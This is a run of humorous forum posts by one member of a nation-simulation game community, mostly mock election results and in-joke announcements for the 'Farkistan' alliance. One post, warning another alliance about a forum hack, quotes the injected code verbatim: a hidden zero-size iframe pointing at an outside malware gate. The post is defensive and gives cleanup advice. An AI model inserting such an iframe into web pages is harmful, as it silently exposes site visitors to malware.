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  3. Propaganda for NoR/LSF and CSN/MK

    in Open World RP

    Posted

    [quote name='Melancholy Culkin' timestamp='1340823766' post='2998548']
    I-I don't think you guys understand!
    [/quote]

    By the way... I think one of my cruise missiles that I sent over to you was a dud. LOL:


    [quote]Message: Your nation has been attacked with a cruise missile by Arcane. You lost 3 defending tanks, 2.63 technology, and 5.12 infrastructure. Any existing peace offers that were on the table have been automatically canceled.
    [/quote]

  4. Propaganda for NoR/LSF and CSN/MK

    in Open World RP

    Posted

    [quote name='Melancholy Culkin' timestamp='1340818478' post='2998470']
    While the other Fark pieces have been admittedly amusing, this just doesn't make sense. Sorry :(
    [/quote]

    [img]http://www.caramia.us/wp-content/uploads/2012/01/297474_174765455942302_152405444844970_359252_1497562969_n.jpg[/img]

  14. What say you, Zapulon?

    in Alliance Announcements (IC)

    Posted

    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/15fc1260.jpg[/img]
    Greetings readers! This week, I, Zapulon the Fantominalstic, will read you secret destinies of the Farkistani government, as writ in the stars themselves.

    [b]one_eighty_two[/b], a Sagittarius, will find himself in new and exciting circumstances. He will be best advised to avoid buying red meat that day, as it will only make the wolves more vicious. Also, as Pamplona is rising in the Etrurian quadrant, it would be a good time to pursue a new romance. Preferably in a new city, as the last of his romances has probably gotten to the cops by now.
    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/9f1d9421.jpg[/img]

    [b]Raving MainyYak[/b] should focus on doing what comes naturally. Also, he has the Moon in the seventh inning, making it a good time to make bad decisions. But the stars repeat themselves.
    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/6cc84be0.jpg[/img]

    A Pisces, [b]Atanatar[/b] is...oh man, that's nasty. Anyone nearby is advised by the concatenation of Polaris and Triton to wear a poncho around Atanatar to avoid the inevitable indelible stains.
    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/4eb2d6e4.jpg[/img]

    The stars regret to say that there is nothing interesting or entertaining about [b]Manwithplanx[/b], with the possible exception of the police's reaction to his 2 terabyte "art" collection.
    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/3675f025.jpg[/img]

    For [b]Country Mouse[/b], a Gemini, the stars tell an epic tale of romance, intrigue, heroic acts, a love that defies governments and endures the ages, and a loyal friend that stays valiantly by his side. And still the stars can't get him to fall asleep. It's "date night" with that pulsar in sector Z-7-99 and the stars are wearing their "special underthings." They aren't making any promises or anything, but someone is having the big "N" tonight. Ask your mom, SHE knows how the stars roll.
    [IMG]http://i348.photobucket.com/albums/q341/MainyYak/ca3b095c.jpg[/img]

    Thus concludes this weeks astral reading. Please join I, Zapulon, next week as I reveal why you should stay away from pasteurized fruit juices on Tuesday.


    tl;dr
    April 2012 Farkistan TotalFark Council:
    one_eighty_two (182 to his friends, if he had any) - Speaker of the Council
    Raving MainyYak
    Atantar
    Manwithplanx
    Country Mouse

  15. What motivates you?

    in World Affairs (IC)

    Posted

    [quote name='Sardonic' timestamp='1331750736' post='2938042']
    Counterpoint:
    [IMG]http://i.imgur.com/SgoF9.gif[/IMG]
    NPL is extremely lucky that we were generous enough to give them peace within a reasonable amount of time after that insult. You and NPL bet that we wouldn't hold up the entire coalition for our entertainment purposes, and you were right, but don't think for a second that NPL ever produced anything worth accepting, and don't think that we were in the wrong for not accepting them.
    [/quote]

    Personally, I think this comic is awesome.

  16. PSA: GOD's Forums

    in Open World RP

    Posted

    Good luck. I'm root for Fark and went through the same thing having the code injected into hundreds of files. Literally hundreds. I think one of our guys was gonna send you some logs Xiph that may have some info to help. Took me forever to manually edit the code out. This is what it was injecting everywhere:

    [quote]<!--qpi--><iframe src=http://zalupka.in/gate/gate.php?f=929801 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=0 height=0 border=0></iframe><!--/qpi-->[/quote]

    Change all your passwords and FTP. Upgrade your boards.

  18. Shopping för nya pixlar och Fark Göbbermånt

    in Alliance Announcements (IC)

    Posted

    Now that the recent conflict is dying down and the dust is settling (we're going to have to hire a cleaning lady, great), we at Farkistan are taking stock. One of the first things we noticed is that our old government was looking a little shabby and perhaps a touch too gleefully bloodthirsty to match the curtains in the living room.

    So, we decided to do a little [url=http://www.youtube.com/watch?v=auKWEKzVulQ]shopping[/url] and got ourselves a whole (or mostly) new government and kitchenette set.

    Ombyggnad? Starta vid FARKEA

    Now, we just need to put it together:
    [img]http://img196.imageshack.us/img196/2741/announcement2j.jpg[/img]

    Regeringen for Februari 2012:

    Högsta Ledaren: 905

    Ekorre: Tumultuous Papaya

    Rådet:

    Högtalare för TotalFark Rådets: Emperor Norton I
    Rådsmedlem # 2 RavingMainyYak
    Rådsmedlem # 3 Shinfat
    Rådsmedlem # 4 idsfa
    Rådsmedlem # 5 Atanatar

    Vi är dömda!

  19. Farkistan Celebrates 5 Years

    in Alliance Announcements (IC)

    Posted · Edited by Arcane

    First, a very Happy New Year to all of you from Fark. Next...

    As was previously requested and as a one-time only special, we're gonna put the tl;dr up top here so nobody will have to scan through our cryptic message to figure out what the hell we're posting. So here's the results of this month's TF Council election (look, I even didn't say that other word, just for you--you know who you are--since it's juvenile).

    [b]Emperor Norton I[/b] - Speaker of the Council
    [b]Manwithplanx [/b]- 1st place winner for 2nd place
    [b]recockulous [/b]- 3rd place from last
    [b]CountryMouse [/b]- Second runner up to 4th place from last
    [b]Kahiel [/b]- 5th in succession should SotC drop dead

    With that said, tomorrow, January 2nd, will mark the 5th anniversary of Farkistan, and as you all probably know from surfing the internet from the basement of your AA's headquarters, the traditional anniversary gift of the 5th anniversary is wood. So as part of our 5th anniversary celebration, we've decided that we're not giving each other wood, but rather, that we'd give you all wood! Because we know that whether you're friend or foe, nothing would please you more than Farkistan giving you all wood on our 5th anniversary!!!

    These are the selections from the aforementioned and above-listed winners:

    [b]Emperor Norton I:[/b] "I'm so very excited about our 5th anniversary and the prospect of giving people from other alliances wood. It's something that I've looked forward to doing for quite some time now and the fact that I can do it as the Speaker of the Council, I'm thinking I may give myself wood as a bonus to me!"

    [b]Chosen gift: [/b] Toothpicks

    [img]http://farkistan.org/announcements/january2012/toothpick.jpg[/img]

    [hr]
    [b]Manwithplanx: [/b]"Who knew that the 5th anniversary of Farkistan would come under such auspicious circumstances as war with 11 alliances? It would please me to no end to know that I gave my wood to each of them. Perhaps I'll give it directly to their leaders so they know it came from me!!!"

    [b]Chosen gift: [/b] Cedar closet blocks

    [img]http://farkistan.org/announcements/january2012/cedar.jpg[/img]

    [hr]
    [b]recockulous:[/b] "Ah, 5 years of Farkistan. I can't believe I have wasted so much of my time trying to instigate a war only to see continued peace--if only I'd forgotten to collect taxes the other day when I was 25 days out! But alas, I'm still here and if there was one person that I could give my wood to on this occasion it would be 905. I'd wrap it up really pretty-like, and then give it to him as a surprise when he least expected it! But of course, they're forcing me to give it to someone outside of Fark, so I'll have to think about that for a bit."

    [b]Chosen gift: [/b] Hickory BBQ Sauce (Edit: We don't think recock really understood that condiments aren't wood, even if it is hickory smoked BBQ sauce)

    [img]http://farkistan.org/announcements/january2012/hickory.jpg[/img]

    [hr]
    [b]CountryMouse:[/b] "Wood? Oh man.. I thought this year was paper. Not wood. Although paper is kind of a limp wood isn't it? It's made from the same stuff, but just not as stiff right? Had I gotten the right gift, I'd probably give everyone a little piece of ash."

    [b]Chosen gift: [/b] Notebook paper

    [img]http://farkistan.org/announcements/january2012/paper.jpg[/img]

    [hr]
    [b]Kahiel: [/b] "To all of my friends here in the OWF, 5 years is a long time. And although I haven't been here for 5 years yet, I'm pleased to be a part of council and offer up my wood to anyone that can't get it themselves. Just let me know and I'll give it to you!"

    [b]Chosen gift:[/b] Random wooden shims

    [img]http://farkistan.org/announcements/january2012/woodshims.jpg[/img]

    Happy 5th Anniversary to us and congrats to this months TF Council winners!!! And again, a happy, healthy new year for all!!!


    /not real quotes
    //all meant in fun

    edit: typo!

  21. Farkistan's Black Friday Five Captured

    in Alliance Announcements (IC)

    Posted

    [quote name='Stormsend' timestamp='1322718994' post='2857841']
    You're right.

    It's repetitive and about as funny as the testicular cancer.

    [/quote]

    Oh well. We try to make somewhat entertaining posts--more than just the standard "Here's the gov". We have some folks that take time out of their schedules to do it, however funny or unfunny it is, the point is to provide some lighthearted humor. Unfortunately we can't please everyone and no matter what we post, someone will find fault with it.

    As for erections, for better or worse, that's what they're officially called on our forums. Regardless, this is for you:

    Farkistan's Official Election Results for December 2011:
    -----------------------------------------------
    Speaker of TF Council: ironone
    TF Council: Manwithplanx
    TF Council: Kahiel
    TF Council: Jaromayo
    TF Council: Spleen63

  23. Something something results something. BOOM.

    in Alliance Announcements (IC)

    Posted

    [center]
    As you all know, in Farkistan, we do things a little bit differently. Between last month and this month's
    erection cycle, what we call our refractory period, we've decided that people are voting using their heads,
    rather than what we'd ideally like them to be using, complete and utter randomness.

    So instead of putting up candidate names, we just posted pictures of balloons from Thanksgiving Day
    parades of the past in the Official Farkistani Voting Booth (seen below), and randomly (and sekritly)
    assigned a candidate to them. Hell, we don't even know if this is legal or binding, but we do know that
    it's produced a VASTLY better outcome then anything we've done in the past.

    [img]http://www.wonkydonky.net/images/elephantbuttmacyfloat.jpg[/img]
    [i][size=0.7em]Official Farkistani Voting Booth. 905, pictured, is too drunk to climb the voting ramp[/size][/i]

    [size=5][b]After 784 votes were counted, here's who won, [/b][/size][size=5][b]and [/b][/size]
    [size=5][b]some [/b][/size][size=5][b]of the reasons that Farkers gave for choosing them:[/b][/size]


    [hr]


    [size="5"][u][b]For the position of Submitter:[/b][/u][/size]

    [img]http://www.farkistan.org/announcements/november2011/submitter.jpg[/img]
    Randomly Assigned to [b]905[/b]
    [i]893 Votes
    [/i]
    [i][size=medium][b]"Why did you choose this balloon [/b][/size]
    [size=medium][b]as your vote for Submitter?"[/b][/size][/i]


    [img]http://www.farkistan.org/announcements/november2011/funny.jpg[/img]
    [b]UltimateDogg:[/b] "I just really identified with this character.
    His love for sweets and his sexy pants are all of the qualities
    we want, no, DESERVE, to have representing Farkistan!"


    [img]http://www.farkistan.org/announcements/november2011/angry.jpg[/img]
    [b]P3: [/b][b]"[/b]What, you guys were farkin' serious? Those were
    the real votes? God, you're all a bunch of ***holes"


    [b][img]http://www.farkistan.org/announcements/november2011/pervert.jpg[/img][/b]
    [b]smontag: [/b][b]"[/b]Any balloon that can eat two
    testicles in an ice cream cone gets my vote!"

    [hr]


    [size="5"][b][u]For the position of Squirrel:[/u][/b][/size]

    [img]http://www.farkistan.org/announcements/november2011/squirrel.jpg[/img]
    Randomly Assigned to [b]Mr Vicarious[/b]
    [i]755 Votes[/i]
    [i]
    [size=medium][b]"Why did you choose this balloon [/b][/size]
    [size=medium][b]as your vote for Squirrel?"[/b][/size][/i]


    [img]http://www.farkistan.org/announcements/november2011/indianman.jpg[/img]
    [b]Paranoia[/b][b]:[/b] [b]"[/b]What if squirrels had guns and
    hunted the hunters, man!?! Up with Squirrels!"


    [img]http://www.farkistan.org/announcements/november2011/indianwoman.jpg[/img]
    [b]Tumultuous Papaya: [/b][b]"[/b]They're so cute and furry, I
    just want to take him home...what's coming out of its butt?"


    [img]http://www.farkistan.org/announcements/november2011/hippie.jpg[/img]
    [b]Abbadon99[/b][b]: [/b][b]"[/b]Government? I thought I was picking lunch?[b]"[/b]


    [hr]
    [size="5"][u][b]For the position of Speaker of the Council:[/size][/b][/u]

    [b][img]http://farm7.static.flickr.com/6045/6284899414_2cc5a6a1ab.jpg[/img]
    Randomly Assigned to ironone
    [i]1231 Votes[/i]


    [i][size=medium]"Why did you choose this balloon [/size][size=medium]as [/size]
    [size=medium]your vote for Speaker of the Council?"[/size][/i]


    [img]http://farm7.static.flickr.com/6107/6284428969_72d62cf7fe_m.jpg[/img]
    Yak:[/b] "I feel a drunk frog is an apt
    metaphor for the position of SotC."


    [b][img]http://farm7.static.flickr.com/6228/6284428953_149c0a145c_m.jpg[/img][/b]
    [b]Decide R Inchief: [/b]"What could better symbolize
    the average Farker better than a drunk Muppet?"


    [b][img]http://farm7.static.flickr.com/6101/6284428941_99fe25dcdc_m.jpg[/img][/b]
    [b]Fat-Free Milk: [/b]"Cuz I'm drunk. And i'm used
    to having some guy's hand up my [redacted]."


    [hr]


    [u][size="5"][b]For the position of TF Council:[/b][/size][/u]

    [img]http://farm7.static.flickr.com/6045/6284381745_ca6f45077f.jpg[/img]
    Randomly Assigned to BozDaBoz
    [i]1231 Votes[/i]


    [b][i][size=medium]"Why did you choose this balloon [/size]
    [size=medium]as your vote for TF Council?"[/size][/i][/b]


    [img]http://farm7.static.flickr.com/6039/6284428981_8fc1a04e95_m.jpg[/img]
    [b]Ecobuckeye: [/b]"Because politicians are a bunch
    of dirty liars! This is Pinnochio in office!"


    [img]http://farm7.static.flickr.com/6043/6284428995_337f2d692d_m.jpg[/img]
    [b]lostindenver: [/b]"What's 'TF Council?"


    [img]http://farm7.static.flickr.com/6227/6284429001_b3657fc5bb_m.jpg[/img]
    [b]Moose Hole:[/b] "I dunno. I felt curiously drawn to it."


    [hr]


    [u][size="5"][b]For the position of TF Council:[/b][/size][/u]

    [img]http://farm7.static.flickr.com/6053/6296841980_ff41676ccc.jpg[/img]
    Randomly Assigned to Kahiel
    [i]1231 Votes[/i]


    [i][b][size=medium]"Why did you choose this balloon [/size]
    [size=medium]as your vote for TF Council?"[/size][/b][/i]


    [img]http://farm7.static.flickr.com/6019/6296310315_8fda79f5f9_m.jpg[/img]
    [b]Kosmokenny:[/b] "You know it's so long since I heard
    the 'Randolph,' I thought my first name was 'Corporal.'"


    [img]http://farm7.static.flickr.com/6109/6296842288_7fce00e1f7_m.jpg[/img]
    [b]Quadriplegic: [/b]"I want freedom for the
    full expression of my personality."


    [img]http://farm7.static.flickr.com/6112/6296842348_c1fe7980f8_m.jpg[/img]
    [b]docmeister:[/b] "Why, back in the old country
    if I had done something like this, my father
    would have bitten my head off!"


    [hr]



    [u][size="5"][b]For the position of TF Council:[/b][/size][/u]

    [img]http://farm7.static.flickr.com/6220/6296842138_7aa8ee849d.jpg[/img]
    Randomly Assigned to Fireguy15207
    [i]1231 Votes[/i]


    [i][b][size=medium]"Why did you choose this balloon [/size]
    [size=medium]as your vote for TF Council?"[/size][/b]
    [/i]

    [img]http://farm7.static.flickr.com/6050/6296842382_481ec0685c_m.jpg[/img]
    [b]Randomly Jim:[/b] "I was exercising my
    Farkistani charter right to bear arms!"


    [img]http://farm7.static.flickr.com/6019/6296842410_298522d24f_m.jpg[/img]
    [b]HappyTheHobo: [/b]"There's something noble
    about bears. And, it reminds me of my lover."


    [img]http://farm7.static.flickr.com/6211/6296842442_cc64a58709_m.jpg[/img]
    [b]fluoroalien:[/b] "I was hoping to see
    the bear tear into the little blue guy!"

    [hr]


    [u][size="5"][b]For the position of TF Council:[/b][/size][/u]

    [img]http://farm7.static.flickr.com/6093/6296842266_61e501a46a.jpg[/img]
    Randomly Assigned to spleen63
    [i]1231 Votes[/i]
    [i]

    [b][size=medium]"Why did you choose this balloon [/size]
    [size=medium]as your vote for TF Council?"[/size][/b][/i]


    [img]http://farm7.static.flickr.com/6230/6296842452_695e190808_m.jpg[/img]
    [b]Binuru: [/b]"Because I just looooovvvvve seamen!"


    [img]http://farm7.static.flickr.com/6238/6296310265_1cf7a85f73_m.jpg[/img][b]
    Bleak Outlook:[/b] "Maybe he'll introduce me to Alice the Goon!"


    [img]http://farm7.static.flickr.com/6104/6296842500_b70f5b44f9_m.jpg[/img]
    [b]D2theMcV: [/b]"Well-meaning, decent people will condemn
    the behavior of a D2theMcV, while they're walking past
    a magazine rack full of the very kinds of things that send
    young kids down the road to be D2theMcVs."

    [hr]


    [b][size="5"]Your New Randomly Erected[/size]
    [size="5"]Farkistani Government:[/size][/b]

    Submitter: [b]905[/b]
    Squirrel: [b]Mr Vicarious[/b]
    Speaker of the Council: [b]ironone[/b]
    TF Council: [b]BozDaBoz[/b]
    TF Council: [b]Kahiel[/b]
    TF Council: [b]Fireguy15207[/b]
    TF Council: [b]Spleen63[/b][/center]

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